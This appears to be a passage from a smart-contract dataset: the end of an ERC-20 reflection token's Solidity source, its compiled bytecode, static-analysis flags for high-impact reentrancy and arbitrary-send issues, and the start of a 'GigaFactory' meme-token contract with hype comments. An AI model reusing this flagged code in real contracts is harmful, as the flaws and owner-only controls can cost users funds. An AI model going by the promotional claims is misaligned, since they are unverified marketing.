returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ee7565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a0a565b610441565b6040516101789190612ecc565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613089565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129bb565b610470565b6040516101e09190612ecc565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061292d565b610549565b005b34801561021e57600080fd5b50610227610639565b60405161023491906130fe565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a87565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f919061292d565b610766565b6040516102b19190613089565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612dfe565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612ee7565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a0a565b610970565b60405161035b9190612ecc565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a46565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad9565b6110b4565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061297f565b6111fd565b6040516104189190613089565b60405180910390f35b60606040518060600160405280602281526020016137c260229139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b610539856040518060600160405280602881526020016137e460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612fc9565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612fc9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611c7a565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9b565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612fc9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f4d6f6e6b6579496e75f09f998800000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612fc9565b60405180910390fd5b60005b8151811015610ada576001600a6000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad29061339f565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611e09565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612fc9565b60405180910390fd5b600f60149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490613049565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b9190612956565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de59190612956565b6040518363ffffffff1660e01b8152600401610e02929190612e19565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e549190612956565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612e6b565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c9190612b02565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612e42565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612ab0565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612fc9565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f89565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea0000061210390919063ffffffff16565b61217e90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f29190613089565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390613029565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612f49565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190613089565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90613009565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612f09565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612fe9565b60405180910390fd5b61158261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f057506115c061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5357600f60179054906101000a900460ff1615611823573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176c611284565b73ffffffffffffffffffffffffffffffffffffffff1614806117e25750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ca611284565b73ffffffffffffffffffffffffffffffffffffffff16145b611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613069565b60405180910390fd5b5b5b60105481111561183257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d65750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118df57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f85750600f60179054906101000a900460ff165b15611a995742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4857600080fd5b603c42611a5591906131bf565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa430610766565b9050600f60159054906101000a900460ff16158015611b115750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b295750600f60169054906101000a900460ff165b15611b5157611b3781611e09565b60004790506000811115611b4f57611b4e47611c7a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfa5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0457600090505b611c10848484846121c8565b50505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612ee7565b60405180910390fd5b5060008385611c6d91906132a0565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cdd600a611ccf60048661210390919063ffffffff16565b61217e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d08573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6c600a611d5e60068661210390919063ffffffff16565b61217e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d97573d6000803e3d6000fd5b5050565b6000600654821115611de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd990612f29565b60405180910390fd5b6000611dec6121f5565b9050611e01818461217e90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e67577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e955781602001602082028036833780820191505090505b5090503081600081518110611ed3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7557600080fd5b505afa158015611f89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fad9190612956565b81600181518110611fe7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120b29594939291906130a4565b600060405180830381600087803b1580156120cc57600080fd5b505af11580156120e0573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121165760009050612178565b600082846121249190613246565b90508284826121339190613215565b14612173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216a90612fa9565b60405180910390fd5b809150505b92915050565b60006121c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612220565b905092915050565b806121d6576121d5612283565b5b6121e18484846122b4565b806121ef576121ee61247f565b5b50505050565b6000806000612202612491565b91509150612219818361217e90919063ffffffff16565b9250505090565b60008083118290612267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225e9190612ee7565b60405180910390fd5b50600083856122769190613215565b9050809150509392505050565b600060085414801561229757506000600954145b156122a1576122b2565b600060088190555060006009819055505b565b6000806000806000806122c6876124f3565b95509550955095509550955061232486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240581612603565b61240f84836126c0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161246c9190613089565b60405180910390a3505050505050505050565b6002600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124c7683635c9adc5dea0000060065461217e90919063ffffffff16565b8210156124e657600654683635c9adc5dea000009350935050506124ef565b81819350935050505b9091565b60008060008060008060008060006125108a6008546009546126fa565b92509250925060006125206121f5565b905060008060006125338e878787612790565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b60008082846125b491906131bf565b9050838110156125f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f090612f69565b60405180910390fd5b8091505092915050565b600061260d6121f5565b90506000612624828461210390919063ffffffff16565b905061267881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126d58260065461255b90919063ffffffff16565b6006819055506126f0816007546125a590919063ffffffff16565b6007819055505050565b6000806000806127266064612718888a61210390919063ffffffff16565b61217e90919063ffffffff16565b905060006127506064612742888b61210390919063ffffffff16565b61217e90919063ffffffff16565b905060006127798261276b858c61255b90919063ffffffff16565b61255b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a9858961210390919063ffffffff16565b905060006127c0868961210390919063ffffffff16565b905060006127d7878961210390919063ffffffff16565b90506000612800826127f2858761255b90919063ffffffff16565b61255b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282c6128278461313e565b613119565b9050808382526020820190508285602086028201111561284b57600080fd5b60005b8581101561287b57816128618882612885565b84526020840193506020830192505060018101905061284e565b5050509392505050565b6000813590506128948161377c565b92915050565b6000815190506128a98161377c565b92915050565b600082601f8301126128c057600080fd5b81356128d0848260208601612819565b91505092915050565b6000813590506128e881613793565b92915050565b6000815190506128fd81613793565b92915050565b600081359050612912816137aa565b92915050565b600081519050612927816137aa565b92915050565b60006020828403121561293f57600080fd5b600061294d84828501612885565b91505092915050565b60006020828403121561296857600080fd5b60006129768482850161289a565b91505092915050565b6000806040838503121561299257600080fd5b60006129a085828601612885565b92505060206129b185828601612885565b9150509250929050565b6000806000606084860312156129d057600080fd5b60006129de86828701612885565b93505060206129ef86828701612885565b9250506040612a0086828701612903565b9150509250925092565b60008060408385031215612a1d57600080fd5b6000612a2b85828601612885565b9250506020612a3c85828601612903565b9150509250929050565b600060208284031215612a5857600080fd5b600082013567ffffffffffffffff811115612a7257600080fd5b612a7e848285016128af565b91505092915050565b600060208284031215612a9957600080fd5b6000612aa7848285016128d9565b91505092915050565b600060208284031215612ac257600080fd5b6000612ad0848285016128ee565b91505092915050565b600060208284031215612aeb57600080fd5b6000612af984828501612903565b91505092915050565b600080600060608486031215612b1757600080fd5b6000612b2586828701612918565b9350506020612b3686828701612918565b9250506040612b4786828701612918565b9150509250925092565b6000612b5d8383612b69565b60208301905092915050565b612b72816132d4565b82525050565b612b81816132d4565b82525050565b6000612b928261317a565b612b9c818561319d565b9350612ba78361316a565b8060005b83811015612bd8578151612bbf8882612b51565b9750612bca83613190565b925050600181019050612bab565b5085935050505092915050565b612bee816132e6565b82525050565b612bfd81613329565b82525050565b6000612c0e82613185565b612c1881856131ae565b9350612c2881856020860161333b565b612c3181613475565b840191505092915050565b6000612c496023836131ae565b9150612c5482613486565b604082019050919050565b6000612c6c602a836131ae565b9150612c77826134d5565b604082019050919050565b6000612c8f6022836131ae565b9150612c9a82613524565b604082019050919050565b6000612cb2601b836131ae565b9150612cbd82613573565b602082019050919050565b6000612cd5601d836131ae565b9150612ce08261359c565b602082019050919050565b6000612cf86021836131ae565b9150612d03826135c5565b604082019050919050565b6000612d1b6020836131ae565b9150612d2682613614565b602082019050919050565b6000612d3e6029836131ae565b9150612d498261363d565b604082019050919050565b6000612d616025836131ae565b9150612d6c8261368c565b604082019050919050565b6000612d846024836131ae565b9150612d8f826136db565b604082019050919050565b6000612da76017836131ae565b9150612db28261372a565b602082019050919050565b6000612dca6011836131ae565b9150612dd582613753565b602082019050919050565b612de981613312565b82525050565b612df88161331c565b82525050565b6000602082019050612e136000830184612b78565b92915050565b6000604082019050612e2e6000830185612b78565b612e3b6020830184612b78565b9392505050565b6000604082019050612e576000830185612b78565b612e646020830184612de0565b9392505050565b600060c082019050612e806000830189612b78565b612e8d6020830188612de0565b612e9a6040830187612bf4565b612ea76060830186612bf4565b612eb46080830185612b78565b612ec160a0830184612de0565b979650505050505050565b6000602082019050612ee16000830184612be5565b92915050565b60006020820190508181036000830152612f018184612c03565b905092915050565b60006020820190508181036000830152612f2281612c3c565b9050919050565b60006020820190508181036000830152612f4281612c5f565b9050919050565b60006020820190508181036000830152612f6281612c82565b9050919050565b60006020820190508181036000830152612f8281612ca5565b9050919050565b60006020820190508181036000830152612fa281612cc8565b9050919050565b60006020820190508181036000830152612fc281612ceb565b9050919050565b60006020820190508181036000830152612fe281612d0e565b9050919050565b6000602082019050818103600083015261300281612d31565b9050919050565b6000602082019050818103600083015261302281612d54565b9050919050565b6000602082019050818103600083015261304281612d77565b9050919050565b6000602082019050818103600083015261306281612d9a565b9050919050565b6000602082019050818103600083015261308281612dbd565b9050919050565b600060208201905061309e6000830184612de0565b92915050565b600060a0820190506130b96000830188612de0565b6130c66020830187612bf4565b81810360408301526130d88186612b87565b90506130e76060830185612b78565b6130f46080830184612de0565b9695505050505050565b60006020820190506131136000830184612def565b92915050565b6000613123613134565b905061312f828261336e565b919050565b6000604051905090565b600067ffffffffffffffff82111561315957613158613446565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ca82613312565b91506131d583613312565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561320a576132096133e8565b5b828201905092915050565b600061322082613312565b915061322b83613312565b92508261323b5761323a613417565b5b828204905092915050565b600061325182613312565b915061325c83613312565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613295576132946133e8565b5b828202905092915050565b60006132ab82613312565b91506132b683613312565b9250828210156132c9576132c86133e8565b5b828203905092915050565b60006132df826132f2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061333482613312565b9050919050565b60005b8381101561335957808201518184015260208101905061333e565b83811115613368576000848401525b50505050565b61337782613475565b810181811067ffffffffffffffff8211171561339657613395613446565b5b80604052505050565b60006133aa82613312565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133dd576133dc6133e8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613785816132d4565b811461379057600080fd5b50565b61379c816132e6565b81146137a757600080fd5b50565b6137b381613312565b81146137be57600080fd5b5056fe4d6f6e6b6579496e75207c20742e6d652f4d6f6e6b6579496e754f6666696369616c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5f91e8f8e8571a2cddb948cf97dd75c667e6421ff366b6934e783e281c59c9c64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,804 |
0xbb282386b668adf173f265501b32d22c260910fb | /**
*/
/**
GIGA FACTORY
Elon Tweet Degen Play!
Ownership Renounced + LP will be locked
Telegram: https://t.me/GigaFactoryERC
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GigaFactory is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GigaFactory";
string private constant _symbol = "GIGA";
uint8 private constant _decimals = 9;
